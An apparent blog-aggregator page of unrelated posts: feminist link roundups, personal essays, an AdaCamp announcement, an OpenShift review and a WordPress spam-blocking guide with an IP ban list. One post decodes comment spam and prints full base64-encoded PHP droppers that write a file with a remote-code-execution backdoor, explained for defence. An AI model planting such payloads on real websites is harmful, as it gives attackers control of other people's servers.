- Just because you like it, doesn’t make it feminist: On Game of Thrones “I get the feeling that (some) women, especially younger feminist women, really, really want the things they like to be feminist. Which is a nice thought, of course, but is also ridiculous.”
- Sexism in Video Games Panel at ETSUcon: “Kat, Jenn, Cameron and I fielded questions on a variety of topics ranging from the infamous Dead Island: Riptide statue to the representation of women in video games to the inclusion of women in video game development studios.”
- I’m a dude. Can I organize a RailsBridge workshop? “So gentlemen, dudes, guys, and men: please organize a workshop. Please assist a woman who’s already organizing one. Take those logistical things off her plate (if she wants to share them) so that she can be a technical presence at a workshop. (Perhaps you can recruit a woman to present the technical portion of the opening presentation while you cover the other parts.)”
- Taking Out the Trash: Post-Trilogy Reflections on “Iron Man 3″: “The superhero genre was—once, long ago—fantastically subversive.”
- Amy Dentata and Black Dahlia Parton talk trangst, porn, and video games: Self-described geek feminism podcast.
- Your Baloney Detection Kit Sucks: “The most troubling aspect of logical fallacies is their use in suppressing uncomfortable ideas and viewpoints, and this can happen whether they are invoked correctly or not. I’ve seen countless examples of fallacies being called upon to dismiss other people’s opinions and ride over their emotions. Used in this way, they are tools of power, summoned to establish and protect a self-serving clique.”
–
You can suggest links for future linkspams in comments here, or by using the “geekfeminism” tag on delicious or pinboard.in or the “#geekfeminism” tag on Twitter. Please note that we tend to stick to publishing recent links (from the last month or so).
Thanks to everyone who suggested links.
So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:
eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));
Or this clearly related one (note that the top of the string is the same):
aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==
As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).
Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:
>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"
(Well, okay, I actually ran
cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.
But that code? Still looks pretty much like gobbledegook.
If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:
eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));
Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:
Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=
You might think we're getting close now, but here's what you get out of decoding that:
>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"
Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.
Incidentally, I'm just using a simple regular expression to do this:
s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.Here's what it looks like without the comments:
if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));
So let's stick together those concatenated strings again:
if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));
Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?
It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=
Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.
But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!
Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
I maintain a couple of blogs outside of this one, and the most popular one I'm involved with gets a lot of spam. There seemed to be a particular uptick about a month back, and I went to look into it.
What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.
Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.
Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.
Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have
# IPTelligent owns these ips, and they seem to be a spam company 96.47.225.* 173.44.37.* 96.47.224.*
Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).
Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)
For the record, here's the company info as I get from the whois database right now:
OrgName: IPTelligent LLC OrgId: IPTEL-1 Address: 2115 NW 22nd Street Address: #C110 City: Miami StateProv: FL PostalCode: 33142 Country: US RegDate: 2009-03-31 Updated: 2012-07-16 Ref: http://whois.arin.net/rest/org/IPTEL-1 ReferralServer: rwhois://rwhois.iptelligent.com:4321 OrgNOCHandle: NOC3572-ARIN OrgNOCName: Network Operations Center OrgNOCPhone: +1-888-638-5893 OrgNOCEmail: sysop@iptelligent.com OrgNOCRef: http://whois.arin.net/rest/poc/NOC3572-ARIN
First some me-related updates:
- I got to help staff a table at roborave on Saturday. fun! I was too busy to take pictures, so don't ask.
- GSoC ranking continues apace. It's actually less busy for me than it was, since I don't need to interact with the students as much until selection is finished, so I've gone from over a hundred people potentially wanting to talk to me to something closer to 20-30. (project admins + mentors with melange trouble). I expect there'll be some wrangling to make sure the Systers and Mailman don't have any overlapping project ideas, but that can wait a few days.
- To save people from asking me: I'm not expecting to hear about the Portland job for another couple of weeks. This is actually pretty convenient for me since it means I can focus on GSoC during the selection period; horray for good timing!
And then some links that amused me:
- Check out this awesome quote from the guy who introduced Sriracha sauce to the west.. Just scroll down; it's been helpfully put into the picture of Mr. David Tran. But the article itself is pretty interesting too.
- You may have seen the link going around claiming that the Miss Korea contestants all look like clones. I chalked it up to some sort of racist "all Korean people look the same" nonsense, but this analysis of why they all look the same is pretty interesting. Short answer: makeup and photoshop by pageant folk. (Although I bet there's some racism involved in the spread of the link too.)
- "Ship just got real." This is the most compelling smooth-jazz voiceover in a trailer for a turn-based boat game that you're going to see today. At least until you watch the second one, which has even more boat puns. J tells me that the game is actually pretty fun even though he only bought it because the trailer was hilarious.
- Ever wanted to know if your interface is being messed with by a monkey? Android has you covered with
isUserAMonkey(). - Also, there exists a set of
log.wtffunctions in Android. Handy!
This is a guest post by Katie, who divides her time among operating an interplanetary spacecraft, turning the gearwheels at her local hackerspace, practicing the Japanese Way of Tea, and an optimistic number of other things. It was originally posted to her blog.
When it comes to “geek culture,” my experience is slight—I’ve long thought of myself as a computers-and-engineering-and-hacking kind of geek, not a gaming/comics/fantasy kind of geek. There’s at least a post’s worth of potential self-reflection there, but my point is that despite currently showing few signs of involvement with the second kind of geekdom, I spent several of my high school and college years participating in tabletop role-playing games like D&D and Ars Magica. I probably would be now if I’d been invited into a group in the post-undergrad years before my plate filled with other things.
What I’m interested in exploring in this post is playing across gender lines—that is, role-playing a character of a different gender than your (the player’s) own. I don’t imagine this is entirely untrodden territory, but I hadn’t processed my own experience of being disallowed from doing it in the gaming group I spent the most and longest time in. Specifically, I hadn’t processed how bullshit that is. The GM‘s reason for the ban: verisimilitude. Fellow players would not be able to imagine the character accurately when that character’s words were coming from the mouth of a player of a different gender. Such a difference would overtax players’ ability to suspend disbelief; it would break the collective fantasy.
An obvious counterargument: if players can overcome the differences between a late-twentieth-century t-shirt-clad, Mountain Dew-chugging American teenager hanging out in a friend’s parents’ rec room and a pious sixteenth-century Saxon blacksmith trekking along thief-ridden roads, a difference of gender identity is barely material, let alone insurmountable. I may have expressed this argument to our GM, but I had no support from any other players, all of whom identified as male, so it was a take-it-or-leave-it situation. Since these were not only fellow players but friends, and I had a painfully hard time making friends, I took it. In retrospect, I wish I hadn’t, not because cross-playing was important to me, but because this absurd essentialism should have been a red flag.
None of the role-playing-game rule systems I’ve used have either banned cross-playing or discriminated among characters’ genders when it came to abilities or characteristics, as far as I remember. However problematic game publishers have been when it comes to issues like objectification, they weren’t the problem in this case. No, this was our GM’s own policy, informed of course by society-wide ideas about gender, and I’m curious how widespread that kind of thing was and is among GMs.
The one specific instance where I remember cross-playing was with a casual D&D group. To give you an idea of our silliness, I named my character Gillette just so that I could cap a victory by quipping that he was “The Best a Man Can Get.” There, though, we didn’t embody our characters so much as describe their actions in the third person. We moved figurines around a map of a dungeon. We did not often speak in our characters’ voices.
What have been your experiences with role-playing games and playing across genders? As a player and/or GM, have you encountered rules against it? Groups that encouraged it? Systems that imposed gender-based modifiers? Or supported non-binary character genders? And not just for creatures? Did the level of character embodiment make a difference? At the height of embodiment, have you had any experiences with live action role-playing across genders?
[For an overview of some feminist issues in tabletop role-playing games, see the Geek Feminism wiki.]
That thought about music, love and transformation made me think of how strange and world-changing it is to find a new friend or author or musician or project or workplace and suddenly click.
They taught me in my management classes that thriving is a function of a person and their environment. That helped me to see things unemotionally. "Bad fit" really does exist.
Every collaboration will be particular, like all power and influence is particular (financial, emotional, cultural, military). You'll get leaks and emergent behavior, and sometimes you can funnel energy, but sometimes it refuses to be fungible. It withers and dies, misdirected, confused. Sometimes that joule, that heat is irrevocably specific.[0] It makes you think about lasers and firehoses, flamethrowers and kindling, and limited burns at the urban-wildlife interface, and how high the specific heat of water is, and how water composes most of our bodies, and the compressed energy inside anyone needs just the right conditions to shine.
Do you remember stoichiometry?
That was the bit from chemistry about making sure that both sides of the equation matched, if I remember Mr. Marson's class right. (I wish I still had that extra credit project, where I went through the chemistry books for names and phrases and just made up like thirty or a hundred puns from scratch and wrote them on posterboard.) If you have two oxygens, and then three more, on the left, you'll end up with five, in some configuration, on the right.
Stoichiometry is tautology. There must be a metric zillion idioms, spanning every human time and place, reducing to the identity property plus the forward direction of time. "If you stand in the rain, you'll get wet." "A hungry cat will look for food." They sound like something you'd program into Cyc. We have sayings like "recipe for disaster" and "prescription for catastrophe," but the chemical equation suits some surprises best as a metaphor, because love is chemistry[1], and because sometimes you are an absent-minded would-be scientist, putting two and two and two together and getting surprised when you end up with six and your hair on fire.[2]
If I stop by a restaurant often enough, I'll be a regular. If I work with people on something we care about, those people will become real to me and I'll find myself a member of a new tribe. If I self-medicate my mood with a particular album and incorporate it into the rhythm of my day, how is that not love? Why fight it?
I'm taking stock of my supply cabinets and my heat sources. The summer student's gotten the hang of safety procedures and requisitions and the rhythm of notes and meetings and R and late-night discoveries. I'm really just getting used to the idea that there's always going to be this lab here, that there's always R&D going on in my heart, no matter how polished the products and services I make a habit of offering to the public. That I can't stop growing and learning and changing and experimenting and compounding, that every once in a while I will run across something "new" whose existence was -- I always realize belatedly -- prefigured in the periodic table.
[0] I'm thinking of freshman year at Cal, Comparative Politics, learning about patron-client dyads, thick vs. thin relationships, the innovation that is bureaucracy, the impulse to rational-legalism, how attractive those clear roles seem and how quickly they blur in practice, how healthy humans resist not treating others as full complete people to love and hate and screw.
[1] The saying goes: lust is biology, love is chemistry, sex is physics. My take: I've always asked "what is love?" not as a hair-stroking poet by the river, but as a frantic sysadmin space-barring through man pages.
[2] But we are analog; we can't spec out our futures pixel-perfect.
Sumana Harihareswara | Cogito, Ergo Sumana | 2013-05-06 01:04:36
- The 8-bit tribute album to Weezer
- The music that helps me get to sleep: Robyn Miller's soundtrack to Riven, Zoë Keating's One Cello x 16: Natoma, Ray Lynch, Clint Mansell's Moon soundtrack. Did you know Keating used to be an information architect?
- Guster, Easy Wonderful
- Tally Hall, Good & Evil
- The soundtracks to Battlestar Galactica and Lord of the Rings, which together combine into an almost ten-hour playlist that makes anything epic.
- Beirut, Gulag Orkestar
- Steve Martin, The Crow
- Everclear, So Much for the Afterglow
- Depeche Mode, The Singles 81>85
- Neutral Milk Hotel, In the Aeroplane Over the Sea
- Holly Yarbrough, Mister Rogers Swings!
- Belle & Sebastian, Dear Catastrophe Waitress
- Dar Williams, End of the Summer -- I think Seth gave me this album in the late 90s.
- Regina Spektor, What We Saw From the Cheap Seats -- like so many, I discovered Spektor via the "Us" video.
- Barcelona, ZeRo-oNe-INFINITY
- Lawsuit, Kind of Brown
- The Mountain Goats, The Life of the World to Come
- Daft Punk's Tron: Legacy soundtrack -- Andrea Phillips turned me on to this, saying that this soundtrack has a freakishly positive focusing effect and helps her work. It's pretty good for me too.
And Rob said, "You're an everything person, you just don't know it yet."
I felt like an arrow of enlightenment had hit me right between the eyes.
I get anxious over the betrayal inherent in adaptation. To instead conceive of growth as a radical hospitality towards and nurturing of previously unvoiced parts of myself -- what a revolution.
I like movies and TV shows, I like books and stories and blogs, I love stand-up and sketch comedy, but music and travel are what I find numinous, transformative. They crack open new Sumananess that blinks in the light, unaccustomed.
Sumana Harihareswara | Cogito, Ergo Sumana | 2013-05-06 00:25:19
Here’s a few of our success stories:
- Netha Hussain ran edit-a-thons to increase women editors and women’s biographies in Malayalam Wikipedia, gave her first three talks, published an article in Forbes Online, and learned how to program
- Tamara Manik-Perlman won an internship at Code For America
- Stephanie Alarcon first learned about the GNOME Outreach Program for Women at AdaCamp – and then won an OPW internship with the Open Technology Institute
We especially encourage applications from people living in the San Francisco Bay area who could not otherwise afford to travel to AdaCamp. AdaCamp registration fees vary from $0 to $250, depending on financial need, so if you can get to downtown San Francisco, you can afford to attend!
We encourage people of all genders to apply to the expanded allies track at AdaCamp. This is an all-day event on Saturday, June 8th, with the popular Allies Workshop in the morning and unconference sessions in the afternoon, organized by the attendees.Learn more and apply here. AdaCamp San Francisco will be another amazing event, don’t miss it!
We thank our gold level sponsors Mozilla, Automattic and Google Site Reliability Engineering; and our silver level sponsors Linux Foundation, Red Hat, Intel, and Puppet Labs; for their support of AdaCamp San Francisco.
The Ada Initiative | The Ada Initiative | 2013-05-05 20:46:58
I’m looking for a PaaS provider that isn’t going to cost me very much (or anything at all) and supports Flask and PostGIS. Based on J5′s recommendation in my blog the other day, I created an OpenShift account.
A free account OpenShift gives you three small gears1 which are individual containers you can run an app on. You can either run an app on a single gear or have it scale to multiple gears with load balancing. You then install components you need, which OpenShift refers to by the pleasingly retro name of cartridges. So for instance, Python 2.7 is one cartridge and PostgreSQL is another. You can either install all cartridges on one gear or on separate gears based on your resource needs2.
You choose your base platform cartridge (i.e. Python-2.6) and you optionally give it a git URL to do an initial checkout from (which means you can deploy an app that is already arranged for OpenShift very fast). The base cartridge sets up all the hooks for setting up after a git push (you get a git remote that you can push to to redeploy your app). The two things you need are a root setup.py containing your pip requirements, and a wsgi/application file which is a Python blob containing an WSGI object named application. For Python it uses virtualenv and all that awesome stuff. I assume for node.js you’d provide a package.json and it would use npm, similarly RubyGems for Ruby etc.
There’s a nifty command line tool written in Ruby (what happened to Python-only Redhat?) that lets you do all the sort of cloud managementy stuff, including reloading cartridges and gears, tailing app logs and SSHing into the gear. I think an equivalent of dbshell would be really useful based on your DB cartridge, but it’s not a big deal.
There are these deploy hooks you can add to your git repo to do things like create your databases. I haven’t used them yet, but again it would make deploying your app very fast.
There are also quickstart scripts for deploying things like WordPress, Rails and a Jenkins server onto a new gear. Speaking of Jenkins there’s also a Jenkins client cartridge which I think warrants experimentation.
So what’s a bit crap? Why isn’t my app running on OpenShift yet? Basically because the available cartridges are a little antique. The supported Python is Python 2.6, which I could port my app too; or there are community-supported 2.7 and 3.3 cartridges, so that’s fine for me (TBH, I thought my app would run on 2.6) but maybe annoying for others. There is no Celery cartridge, which is what I would have expected, ideally so you can farm tasks out to other gears, and although you apparently can use it, there’s very little documentation I could find on how to get it running.
Really though the big kick in the pants is there is no cartridge for Postgres 9.2/PostGIS 2.0. There is a community cartridge you can use on your own instance of OpenShift Origin, but that defeats the purpose. So either I’m waiting for new Postgres to be made available on OpenShift or backporting my code to Postgres 8.4.
Anyway, I’m going to keep an eye on it, so stay tuned.
- small gears have 1GB of disk and 512MB of RAM allocated
- I think if you have a load balancing (scalable) application, your database needs to be on its own gear so all the other gears can access it.
- Can Videogames Teach Us About Race? “The conversation has moved beyond simply arguing for less revealing clothing and “more agency” for fictional women, towards dissecting a paradigm shift for the entire industry, highlighting the role of women as both consumers and producers of videogames. And while anyone at least casually interested in social equity will no doubt find this thrilling, the conversation is overwhelmingly white, with all these calls for industry-wide changes in favor of equal representation completely omitting race.”
- Super Ladies: Missing Why not show female superheroes in ensemble shots??
- Women Genre Authors Much Less Likely to Get Reviewed: “So, basically, there are tons of female sci-fi authors out there, but they’re not getting nearly the same coverage as their male counterparts.”
- 30 Days Of Sexism: “From March 7 – April 7, I documented everything blatantly sexist anyone has said to me. None of these comments were provoked, none of them were replies to something I said, none of them were at all out of the ordinary and the vast majority of them (an original count of 77 images) have been taken out so that this post isn’t as long as it probably should be. This is a 10-picture indication of what it’s like to be a woman who endorses game culture, every single month.”
- [TW: Harassment]Consent & Consequence at Cons: An Alliterative Appeal to Acknowledgement “You are not responsible for another person’s choices.”
- Women in Science and Engineering (Boston): Jun 24-25, 2013: “Our goal is to help scientists and engineers become more productive by teaching them basic computing skills like program design, version control, testing, and task automation.”
- White Men Wearing Google Glass: Making a point about who does (and, by omission) doesn’t worry about a collaborative panopticon?
- This Is What The Next Generation Of Programmers Looks Like: “As sophomores in high school, none of the girls have made a decision about whether or not they want to pursue computer science careers. But if app building appears as accessible to others of their generation as it does to them, the future of programming looks very bright.”
- 17 year old girl wins hackathon: “Let’s focus on how one teenage girl, Jennie Lamere, defeated a room full of smart, motivated, experienced, full-grown men. This would seem to be instructive to the greater argument about women in technology, and besides, it has the added bonus of being based in fact rather than opinion.”
- What’s missing from the media discussions of Wikipedia categories and sexism: “It’s not always the case, but in this instance the system worked. Filipacchi saw something on Wikipedia that she thought was wrong. She drew attention to it. Now it’s being discussed and fixed. That’s how Wikipedia works.”
–
You can suggest links for future linkspams in comments here, or by using the “geekfeminism” tag on delicious or pinboard.in or the “#geekfeminism” tag on Twitter. Please note that we tend to stick to publishing recent links (from the last month or so).
Thanks to everyone who suggested links.
We will be having our second meeting on Tuesday 7 May at 9pm IST at #wfs-india channel on irc.freenode.net.
The agenda includes -
- make plans for an event
